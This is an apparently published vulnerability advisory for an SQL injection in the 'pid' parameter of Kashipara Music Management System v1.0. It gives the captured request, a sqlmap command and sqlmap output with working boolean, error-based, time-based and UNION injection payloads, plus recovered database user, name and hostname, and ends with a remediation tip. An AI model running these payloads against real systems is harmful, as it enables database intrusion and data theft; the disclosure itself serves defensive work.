SQL injection vulnerability in "/music/manage_playlist_items.php" in Kashipara Music Management System v1.0 allows attacker to execute arbitrary SQL commands via the "pid" parameter.

Affected Project: Kashipara (https://www.kashipara.com/)

Product Official Website URL: Music Management System v1.0

(https://www.kashipara.com/project/php/12978/music-management-system-in-php-php-project-source-code)

Version: 1.0

Affected Components:

Affected Code File: /music/manage playlist items.php

• Affected Parameter: "pid"

Steps:

1. Access the "Manage Playlist" HTTP POST request and capture it in Burp Suite proxy editor.

Request:

GET /music/manage_playlist_items.php?pid=3 HTTP/1.1

Host: localhost

Content-Length: 2



2. In this request, the "pid" request parameter is vulnerable to SQL injection. This is demonstrated in next steps.

3. We will run SQLMAP against this HTTP request. Command: *sqlmap.py -r req.txt --batch -- flush-session -p pid --current-db --current-user --hostname*

```
GET /music/manage_playlist_items.php?pid=3 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/2
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://localhost/music/index.php?page=view playlist&id=7
Priority: u=0
```

```
C:\Windows\System32\cmd.exe — \\
D:\Tools\SQLMAP\sqlmapproject-sqlmap-79aa315>sqlmap.py -r req.txt --batch --flush-session -p pid_--current-db --current-user --hostname
```

4. SQLMAP identifies parameter "**pid**" as vulnerable. Also, SQLMAP successfully lists out the database, current user and hostname.

```
[20:44:20] [INFO] GET parameter 'pid' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'pid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
{f k} sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
 Parameter: pid (GET)
      Type: boolean-based blind
                                                                                                                           .
       Title: AND boolean-based blind - WHERE or HAVING clause
       Payload: pid=3 AND 1813=1813
       Type: error-based
      Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: pid=3 AND (SELECT 2580 FROM(SELECT COUNT(*),CONCAT(0x716b767071,(SELECT (ELT(2580=2580,1
  71, FLOOR(RAND(\theta)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
       Type: time-based blind
       Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
       Payload: pid=3 AND (SELECT 4741 FROM (SELECT(SLEEP(5)))GDDG)
      Type: UNION query
       Title: Generic UNION query (NULL) - 7 columns
       Payload: pid=3 UNION ALL SELECT CONCAT(0x716b767071,0x65454948486851567a5042786768535278516244686
  4546c50757479516152726b,0x716a7a6271),NULL,NULL,NULL,NULL,NULL,NULL-- -
  [20:44:20] [INFO] the back-end DBMS is MySQL web application technology: PHP, PHP 8.2.12, Apache 2.4.58 back-end DBMS: MySQL >= 5.0 (MariaDB fork)
  [20:44:20] [INFO] fetching current user
  urrent user: 'root@localhost'
[20:44:20] [INFO] fetching current database
  current database: 'music_db'
[20:44:20] [INFO] fetching server hostname
nostname: 'DESKTOP-PKVTEFL'
```

Solution/Good Reads:

User parameterized SQL queries instead of the dynamic SQL queries.

https://cheatsheetseries.owasp.org/cheatsheets/SQL Injection Prevention Cheat Sheet.ht
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